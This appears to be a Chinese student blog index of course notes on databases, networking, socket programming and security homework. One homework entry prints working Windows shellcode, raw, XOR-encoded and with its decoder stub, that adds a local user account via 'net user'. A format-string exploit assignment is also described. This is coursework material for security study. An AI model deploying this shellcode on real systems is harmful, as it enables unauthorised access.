学习笔记

30 篇文章

环境配置

简介

发现自己很久没更新博客了(没错是在摆),课题组要整新的工作,不得不开学嵌入式,话不多说开始!

Mac 主机上一般的日常开发流程为

2 分钟阅读
713 字

第5章 缓冲区管理

缓冲区结构

frame的参数

  • Dirty
    • Frame中的块是否已经被修改
  • Pin-count
    • Frame的块的已经被请求并且还未释放的计数,即当前的用户数
  • *Others
    • Latch: 是否加锁

当请求块时

  • 当一个程序请求一个不在内存中的数据块时,操作系统需要从磁盘中读取该数据块。
    • 首先,它需要在内存中找到一个帧来存放这个数据块。
    • 如果选中的帧是脏的(即,帧中的数据已被修改但尚未写回磁盘),那么操作系统需要先将这个帧的内容写回磁盘。
    • 然后,操作系统从磁盘中读取请求的数据块,并将其放入选中的帧中。
  • 最后,操作系统会增加该帧的固定计数Pin-count(即,标记该帧正在被使用),并返回该数据块在内存中的地址。这样,程序就可以直接访问内存中的数据,而不需要再次从磁盘中读取。这个过程是操作系统管理内存的重要部分,也是实现虚拟内存的关键。

当释放块时

  • 当程序完成对一个数据块的访问后,它需要取消固定(unpin)包含该数据块的帧,以便操作系统可以在需要时重新使用该帧。
  • 同时,如果程序修改了数据块的内容,它需要设置该帧的脏位(dirty bit)。脏位是用来标记帧中的数据是否已被修改,但尚未写回磁盘。如果脏位被设置,那么在帧被替换之前,操作系统需要先将帧的内容写回磁盘。这样可以确保磁盘中的数据始终是最新的,即使发生了系统崩溃或电源故障。

缓冲区替换策略

  • 当内存中没有空闲的帧来存放新的数据块时,操作系统需要选择一个已经被使用的帧进行替换。选择哪个帧进行替换是由替换策略决定的,常见的替换策略包括最近最少使用(LRU),时钟,先进先出(FIFO),最近最常使用(MRU)等。
  • 只有当帧的固定计数为0时,也就是说,当没有程序正在使用该帧时,该帧才会被考虑作为替换的候选者。
  • 替换策略的选择可以对系统的I/O性能产生重大影响,因为每次替换都可能需要从磁盘中读取数据或将数据写回磁盘。不同的访问模式可能会导致某些替换策略比其他策略表现得更好。

理论最优算法:OPT算法

  • 也称为Belady’s算法

    8 分钟阅读
    3854 字

第4章 数据表达

数据元素的表示层次

数据项

  • 字节序列

  • 表示关系数据库中元组的属性值

  • 数据项表示的内容

    • 表示什么?
      • 姓名
      • 年龄
      • 出生日期
      • 照片 …..
    • 用什么表示?
      • Bytes
  • 数据项表示方法:SQL数据类型

    • Integer (short)

      7 分钟阅读
      3240 字

第3章 数据存储

典型磁盘结构

  • 盘片platter, 盘面 surface, 磁头 R/W head, 磁道 track, 柱面 cylinder, 扇区 sector

磁盘块存取时间

相关计算概念

  • 块(Block)

    6 分钟阅读
    2963 字

第2章 关系型数据库回顾

数据库体系结构

  • 从模式的角度描述一般数据库系统的概念和结构

  • 可以用于解释特定数据库系统的内部结构

  • ANSI/SPARC体系结构——三级模式结构+两级映象

    10 分钟阅读
    5006 字

第1章 数据库系统概述

1.1. DBMS系统结构组成

数据库、DBMS、数据库系统等基本概念

数据

  • 数据(Data)是数据库中存储的基本对象
  • 数据的定义
    • 人们用来反映客观世界而记录下来的可以鉴别的符号
  • 数据的种类
    • 数值数据:0-9
    • 非数值数据:字符、文字、声音、图形、图像等
  • 数据的特点
    • 数据与其语义是不可分的
  • 例子1:93是一个数据
    • 语义1:学生某门课的成绩
    • 语义2:某人的体重
    • 语义3:计算机学院2016级学生人数
  • 例子2:学生档案记录(李明,197205,中国科大,1990)
    • 语义1:学生,出生年月,所在学校,毕业年份
    • 语义2: 学生,出生年月,录取大学,入学时间

数据库

  • 数据库的定义 数据库(Database,简称DB)是长期储存在计算机内、有 组织的、可共享的大量数据的集合
  • 数据库的基本特征
    • 数据按一定的数据模型组织、描述和储存
    • 可为各种用户共享
    • 数据间联系密切,具有最小的冗余度和较高的独立性
    • 服务于某个特定的应用
  • 例:图书馆的图书数据库、机场的航班数据库、银行数据库……

数据库模式 (Schema)

数据库模式是数据库中全体数据的逻辑结构和特征的描述 ![[Pasted image 20240108110812.png]]

3 分钟阅读
1369 字

信息网络协议基础第六章复习

路由器功能与架构

  • 数据路径功能
    • 根据分组目的IP地址查找转发表
    • 通过交换结构转发到输出端口
    • 输出端口调度和队列管理
  • 控制面功能
    • 运行路由协议,构建路由表
    • 系统配置和管理

路由查找算法

Binary Trie

![[Pasted image 20240102174052.png]] ![[Pasted image 20240102174131.png]]

4 分钟阅读
1825 字

信息网络协议基础第五章复习

•基本概念

–QoS度量参数;流、行为集合、服务等级协议

基本概念

QoS度量参数

常用的描述QoS需求的参数包括:带宽、延迟、延迟抖动、突发(峰值)速率、最大突发长度、丢包率

5 分钟阅读
2294 字

信息网络协议基础第三章复习

CIDR

•CIDR:Classless Inter-Domain Routing,无类别域间寻路

  • 目前Internet采用的IP地址分配方式,1990年代由IETF提出,取代早期的有类别的地址分配方式
    • 采用可变长度的网络前缀(network prefix)来取代地址分类中网络号长度固定的做法
  • 具有相同前缀的IP地址组成CIDR Block,表示为A.B.C.D/N,其中N为前缀长度
  • 例如202.38.208.0/20

前缀汇聚(Supernetting)

前缀汇聚举例 8个连续的/24的CIDR Block可以用一个/21的CIDR Block来表示,因此对外汇聚成一条/21的路由 200.25.16.0/24200.25.23.0/24–〉
(0001 0000
0001 0111)
200.25.16.0/21

9 分钟阅读
4223 字

信息网络协议基础第四章复习

移动切换

  • 两种切换情况
    • 切换涉及的AP在同一个网络中-链路层切换
      • 链路层切换不改变IP地址,执行链路层操作
      • 不改变五元组,对应用会话无影响
    • 切换涉及的AP在不同的网络中-网络层切换
      • 不同网络不同AP之间的切换首先执行链路层切换,再执行网络层切换,进行网络相关参数配置
      • 移动节点IP地址发生变化
      • 如何消除切换对应用会话的影响?
        • 应用层解决方案:需要应用支持,本质上是重新建立IP会话
        • 网络层解决方案:需要增强网络协议,对应用透明
  • 应用会话大多通过五元组来标识
    • <源/目的IP地址、协议、源/目的端口号>
    • 不同的五元组对应着不同的应用会话

移动IPv6

– 基本原理、如何对上层应用屏蔽移动性?

2 分钟阅读
777 字

信息网络协议基础第二章复习

接入网

  • 用来把用户网络或者设备接入到Internet的网络
  • 也被称为最后1公里接入
  • 宽带接入成为主流(FCC [2010]: 4Mbps downstream/1Mbps upstream)
  • DSL、Cable、Fibre、Wireless Broadband (Fixed/Mobile)

常用接入网类型

  • 基于ATM架构类
    • 传统电信网络:点对点
    • DSL(数字用户线路)
      • 对称DSL
        • 下行和上行速率相同SHDSL(利用了话音带宽)
      • 非对称DSL
        • 下行速率一般大于上行速率
        • ADSL
        • ADSL2+:
  • 基于IEEE 802参考模型的局域网架构类
    • 新兴IP网络:共享
    • 以太网(802.3)、无线局域网(802.11)、甚至包括无线城域网(802.16)
  • 光纤接入类
    • 基于ATM:APON、GPON
    • 基于以太网:EPON

ATM

概述

  • ATM: Asynchronous Transfer Mode,异步传输模式

    14 分钟阅读
    6824 字

信息网络协议基础第一章复习

交换技术

  • 交换、电路交换、分组交换(虚电路交换ATM、数据报交换IP)- 原理 特点

为什么需要交换?

减少网络中节点之间所需的通信线路 增强可扩展性,构建更大规模网络

5 分钟阅读
2315 字

信息网络复习提纲

第一章 信息网络概述

交换技术

  • 交换、电路交换、分组交换(虚电路交换ATM、数据报交换IP)
    • 原理 特点

为什么需要交换?

减少网络中节点之间所需的通信线路 增强可扩展性,构建更大规模网络

3 分钟阅读
1289 字

网络安全作业7

得分10/10

修改源代码

![[IMG_2949.png]]

shellcode



Z:\toStudentCh11-3>GetShellcode.exe
/* 292=0x124 bytes */
"\x33\xc0\x50\x68\x2f\x61\x64\x64\x68\x74\x30\x31\x20\x68\x20\x74"
"\x65\x73\x68\x75\x73\x65\x72\x68\x65\x78\x65\x20\x68\x6e\x65\x74"
"\x2e\x68\x70\x61\x64\x2e\x68\x6e\x6f\x74\x65\x8b\xfc\x68\x57\x66"
"\x0d\xff\x68\x63\x89\xd1\x4f\x68\xc9\xbc\xa6\x6b\x5a\xe8\x56\x00"
"\x00\x00\x8b\xf0\x5a\xe8\x4e\x00\x00\x00\x8b\xd8\xe8\x05\x00\x00"
"\x00\xe9\xce\x00\x00\x00\x51\x52\x56\x57\x55\x8b\xec\x8b\xd7\x83"
"\xec\x54\x8b\xfc\x6a\x14\x59\x33\xc0\x89\x04\x8f\xe2\xfb\xc6\x47"
"\x10\x44\x8d\x47\x10\x57\x50\x6a\x00\x6a\x00\x6a\x00\x6a\x00\x6a"
"\x00\x6a\x00\x52\x6a\x00\xff\xd6\x83\xf8\x00\x74\x03\x50\xff\xd3"
"\x8b\xe5\x5d\x5f\x5e\x5a\x59\xc3\x56\x53\x51\x52\xe8\x11\x00\x00"
"\x00\x83\xf8\x00\x7e\x07\x8b\xd8\xe8\x17\x00\x00\x00\x5a\x59\x5b"
"\x5e\xc3\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x40\x1c\x8b\x00"
"\x8b\x40\x08\xc3\x8b\x43\x3c\x8b\x44\x18\x78\x03\xc3\x8b\xf0\x8b"
"\x4e\x18\x8b\x46\x20\x03\xc3\x8b\x44\x88\xfc\x03\xc3\x57\x8b\xf8"
"\xe8\x17\x00\x00\x00\x5f\x3b\xc2\x74\x06\xe2\xe6\x33\xc0\xeb\x0b"
"\x8b\x46\x1c\x03\xc3\x8b\x44\x88\xfc\x03\xc3\xc3\x53\x51\x52\x57"
"\x33\xd2\x0f\xbe\x07\x83\xf8\x00\x74\x13\x8b\xda\x8b\xca\xc1\xe3"
"\x19\xc1\xe9\x07\x0b\xd9\x8b\xd3\x03\xd0\x47\xeb\xe5\x8b\xc2\x5f"
"\x5a\x59\x5b\xc3";
        XorByte=0xfe
/* 292=0x124 bytes */
"\xcd\x3e\xae\x96\xd1\x9f\x9a\x9a\x96\x8a\xce\xcf\xde\x96\xde\x8a"
"\x9b\x8d\x96\x8b\x8d\x9b\x8c\x96\x9b\x86\x9b\xde\x96\x90\x9b\x8a"
"\xd0\x96\x8e\x9f\x9a\xd0\x96\x90\x91\x8a\x9b\x75\x02\x96\xa9\x98"
"\xf3\x01\x96\x9d\x77\x2f\xb1\x96\x37\x42\x58\x95\xa4\x16\xa8\xfe"
"\xfe\xfe\x75\x0e\xa4\x16\xb0\xfe\xfe\xfe\x75\x26\x16\xfb\xfe\xfe"
"\xfe\x17\x30\xfe\xfe\xfe\xaf\xac\xa8\xa9\xab\x75\x12\x75\x29\x7d"
"\x12\xaa\x75\x02\x94\xea\xa7\xcd\x3e\x77\xfa\x71\x1c\x05\x38\xb9"
"\xee\xba\x73\xb9\xee\xa9\xae\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94"
"\xfe\x94\xfe\xac\x94\xfe\x01\x28\x7d\x06\xfe\x8a\xfd\xae\x01\x2d"
"\x75\x1b\xa3\xa1\xa0\xa4\xa7\x3d\xa8\xad\xaf\xac\x16\xef\xfe\xfe"
"\xfe\x7d\x06\xfe\x80\xf9\x75\x26\x16\xe9\xfe\xfe\xfe\xa4\xa7\xa5"
"\xa0\x3d\x9a\x5f\xce\xfe\xfe\xfe\x75\xbe\xf2\x75\xbe\xe2\x75\xfe"
"\x75\xbe\xf6\x3d\x75\xbd\xc2\x75\xba\xe6\x86\xfd\x3d\x75\x0e\x75"
"\xb0\xe6\x75\xb8\xde\xfd\x3d\x75\xba\x76\x02\xfd\x3d\xa9\x75\x06"
"\x16\xe9\xfe\xfe\xfe\xa1\xc5\x3c\x8a\xf8\x1c\x18\xcd\x3e\x15\xf5"
"\x75\xb8\xe2\xfd\x3d\x75\xba\x76\x02\xfd\x3d\x3d\xad\xaf\xac\xa9"
"\xcd\x2c\xf1\x40\xf9\x7d\x06\xfe\x8a\xed\x75\x24\x75\x34\x3f\x1d"
"\xe7\x3f\x17\xf9\xf5\x27\x75\x2d\xfd\x2e\xb9\x15\x1b\x75\x3c\xa1"
"\xa4\xa7\xa5\x3d";
        Success: encode is OK



length of shellcode = 315 = 0x13b
/* 315=0x13b bytes */
"\xeb\x10\x5b\x53\x4b\x33\xc9\x66\xb9\x24\x01\x80\x34\x0b\xfe\xe2"
"\xfa\xc3\xe8\xeb\xff\xff\xff\xcd\x3e\xae\x96\xd1\x9f\x9a\x9a\x96"
"\x8a\xce\xcf\xde\x96\xde\x8a\x9b\x8d\x96\x8b\x8d\x9b\x8c\x96\x9b"
"\x86\x9b\xde\x96\x90\x9b\x8a\xd0\x96\x8e\x9f\x9a\xd0\x96\x90\x91"
"\x8a\x9b\x75\x02\x96\xa9\x98\xf3\x01\x96\x9d\x77\x2f\xb1\x96\x37"
"\x42\x58\x95\xa4\x16\xa8\xfe\xfe\xfe\x75\x0e\xa4\x16\xb0\xfe\xfe"
"\xfe\x75\x26\x16\xfb\xfe\xfe\xfe\x17\x30\xfe\xfe\xfe\xaf\xac\xa8"
"\xa9\xab\x75\x12\x75\x29\x7d\x12\xaa\x75\x02\x94\xea\xa7\xcd\x3e"
"\x77\xfa\x71\x1c\x05\x38\xb9\xee\xba\x73\xb9\xee\xa9\xae\x94\xfe"
"\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\xac\x94\xfe\x01\x28\x7d"
"\x06\xfe\x8a\xfd\xae\x01\x2d\x75\x1b\xa3\xa1\xa0\xa4\xa7\x3d\xa8"
"\xad\xaf\xac\x16\xef\xfe\xfe\xfe\x7d\x06\xfe\x80\xf9\x75\x26\x16"
"\xe9\xfe\xfe\xfe\xa4\xa7\xa5\xa0\x3d\x9a\x5f\xce\xfe\xfe\xfe\x75"
"\xbe\xf2\x75\xbe\xe2\x75\xfe\x75\xbe\xf6\x3d\x75\xbd\xc2\x75\xba"
"\xe6\x86\xfd\x3d\x75\x0e\x75\xb0\xe6\x75\xb8\xde\xfd\x3d\x75\xba"
"\x76\x02\xfd\x3d\xa9\x75\x06\x16\xe9\xfe\xfe\xfe\xa1\xc5\x3c\x8a"
"\xf8\x1c\x18\xcd\x3e\x15\xf5\x75\xb8\xe2\xfd\x3d\x75\xba\x76\x02"
"\xfd\x3d\x3d\xad\xaf\xac\xa9\xcd\x2c\xf1\x40\xf9\x7d\x06\xfe\x8a"
"\xed\x75\x24\x75\x34\x3f\x1d\xe7\x3f\x17\xf9\xf5\x27\x75\x2d\xfd"
"\x2e\xb9\x15\x1b\x75\x3c\xa1\xa4\xa7\xa5\x3d";

命令成功完成。



Z:\toStudentCh11-3>

查看用户

IMG_2950

1 分钟阅读
109 字

网络安全作业8

题目:在32位的ubuntu16.04运行环境下,对格式化漏洞程序vul_formatstr2.c,参照 12.2.4的方法,说明如何修改程序,将变量B的值改成0x5678CDEF。

3 分钟阅读
1016 字

网络安全作业6

第九章

  1. 简述shellcode 的概念以及编写shellcode的步骤。

    1. shellcode是注入到目标进程中的二进制代码,其功能取决于编写者的意图。
    2. 编写shellcode要经过以下3个步骤:
      1. 编写简洁的能完成所需功能的C程序;
      2. 反汇编可执行代码,用系统功能调用代替函数调用,用汇编语言实现相同的功能;
      3. 提取出操作码,写成shellcode,并用C程序验证。
  2. Linux环境下的shellcode为什么不调用libc中的库函数,而是利用系统调用?

    3 分钟阅读
    1029 字

网络安全作业5

得分:10/10

C程序homework08.c的主函数如下:

int main(int argc, char * argv[]) {
init_buf(Lbuffer, LEN);
switch(argc)
{
case 1: f00(); break;
case 2: f01(); break;
case 3: f02(); break;
default: f00(); break;
}
puts("Done.\nThe program exited normally.");
return 0;
}
  • 在32位的ubuntu16.04系统中用gcc -fno-stack-protector 编译该程序,得到的可执行程序见附件,通过gdb调试,对f00()、f01()和f02()进行分析:

(1) 函数f00()、f01()和f02()是否导致段错误。

  • 如果没有命令行参数(argc 等于 1,因为程序名本身也算一个参数),则执行函数 f00()。
  • 如果有一个命令行参数(argc 等于 2),则执行函数 f01()。
  • 如果有两个命令行参数(argc 等于 3),则执行函数 f02()。
  • 如果有三个或更多的命令行参数,还是执行函数 f00()。 ![[Pasted image 20231122231415.png]]

函数foo(), 和 foo01() 都会导致段错误。

3 分钟阅读
1503 字

信网实验2

基本操作

查看并记录 HostA 和 S 的 IPv6(ens5 scope:link) 地址

命令 ifconfig ens5image image

命令解释

ifconfig是一个用于配置和显示Linux操作系统网络接口信息的命令。当执行ifconfig ens5命令时,它会显示ens5网络接口的配置信息,包括IP地址、子网掩码、MAC地址、数据包统计等。

10 分钟阅读
4936 字

TCP、IP网络编程第三章笔记

3.1 分配给套接字的IP地址与端口号

网络地址

用于区分套接字的端口号

IP用于区分计算机,只要有IP地址就能向目标主机传输数据,但仅凭这些无法传输给最终的应用程序。假设各位欣赏视频的同时在网上冲浪,这时至少需要1个接收视频数据的套接字和1 个接收网页信息的套接字。问题在于如何区分二者。简言之,传输到计算机的网络数据是发给播放器,还是发送给浏览器?

20 分钟阅读
9634 字

网络安全作业4

得分:10/10

第六讲

  1. IDS有哪些主要功能?

    • 网络流量的跟踪与分析功能:跟踪用户进出网络的所有活动,实时检测并分析用户在系统中的活动状态;实时统计网络流量,检测拒绝服务攻击等异常行为。

      3 分钟阅读
      1275 字

TCP、IP网络编程第二章笔记

2.1 套接字协议及其数据传输特性

协议

如果相隔很远的两人想展开对话,必须先决定对话方式。如果一方使用电话,那么另一方也只能使用电话,而不是书信。可以说,电话就是两人对话的协议。协议是对话中使用的通信规则, 把上述概念拓展到计算机领域可整理为“计算机间对话必备通信规则”。

8 分钟阅读
3973 字

TCP、IP网络编程第一章笔记

1.1 理解网络和套接字

套接字

套接字(socket)是计算机网络中进程间通信的一种机制,它将进程间通信抽象为一个端点,该端点由一个IP地址和一个端口号来标识。 套接字是网络数据传输用的软件设备。网络编程又称为套接字编程。

8 分钟阅读
3718 字

信网实验1

实验内容

arp

  1. 在 HostA 和 HostB 中分别打开一个终端用于本实验。

  2. 在 HostA 和 HostB 中分别执行命令ifconfig ens5,查看并记录它们各自的IPv4 地址。执行命令 ifconfig ens6 查看 IPv6 地址 (global 和 link 两种) 以及以太网接口的物理地址。 截图: image image image image

    7 分钟阅读
    3119 字

网络安全作业2

得分:10/10

路由配置

配置路由器Router

  1. 安装远程访问“角色和功能” image|300

  2. 设置IP地址和默认网关的IP地址。 image|300

    1 分钟阅读
    229 字

网络安全作业3

得分:10/10

  1. 简述防火墙的定义 防火墙是位于两个(或多个)网络之间执行访问控制的软件和硬件系统,它根据访问控制规则对进出网络的数据流进行过滤。

  2. 防火墙对数据流的拒绝和丢弃有何区别?

    2 分钟阅读
    898 字

网络安全作业1

得分:9/10

第一章

1. 如果你的网络服务器被黑客远程控制,列举3个可能被破坏的安全属性, 并解释理由。 机密性: 理由:远程控制服务器后,黑客可以在未被授权的情况下获取个人信息、数据库记录等数据,导致数据泄露和隐私侵犯。 完整性: 理由:黑客远程服务器后,可以篡改服务器上的数据或者程序文件,修改网站内容、更改配置文件、插入恶意代码等。 可用性: 理由:黑客可能通过远程控制服务器发动拒绝服务攻击或直接禁用服务器上的关键服务和功能,导致服务器无法正常运行。 不可抵赖性: 理由:黑客可以使用服务器的访问权限执行恶意操作如数据篡改。如果服务器没有足够的安全措施来记录这些操作并确保其不可抵赖性,那么黑客可能会否认曾经执行过这些操作,导致难以追踪和证明责任。

4 分钟阅读
1950 字

网络安全实验配置

网络安全实验配置

由于Mac的m系列芯片使用了arm架构与windows server镜像要求的x86架构不同,老师使用的virtual box和mac最常用的pd模拟器均只能进行同架构系统的模拟。于是乎我又查阅了资料,发现UTM可以在mac上进行不同架构的模拟(虽然很卡也很难用,终归是跑通了),以下是我的配置过程:

2 分钟阅读
504 字

网络层

网络层

IP 即网际协议TCP/IP 的心脏是互联网层。这一层主要由 IP (Internet Protocol)和 ICMP (Internet Control Message Protocol)两个协议组成。 网络层的主要作用是“实现终端节点之间的通信”。这种终端节点之间的通信也叫 “点对点(end-to-end)通信”。

12 分钟阅读
5570 字

数据链路层

数据链路层

数据链路是让互联计算机之间相互通信的一种协议,又指通信手段。 Pasted-image-20231012105025

数据链路的段

数据链路的段是指一个被分割的网络。然而根据使用者不同,其含义也不尽相同。例如,引入中继器将两条网线相连组成一个网络。 这种情况下有两条数据链路: ◎从网络层的概念看,它是一个网络(逻辑上)一即,从网络层的立场出发,这两条网线组成一个段。 ◎从物理层的概念看,两条网线分别是两个物体(物理上)一即, 从物理层的观.点出发,一条网线是一个段。 Pasted-image-20231012081420

19 分钟阅读
9046 字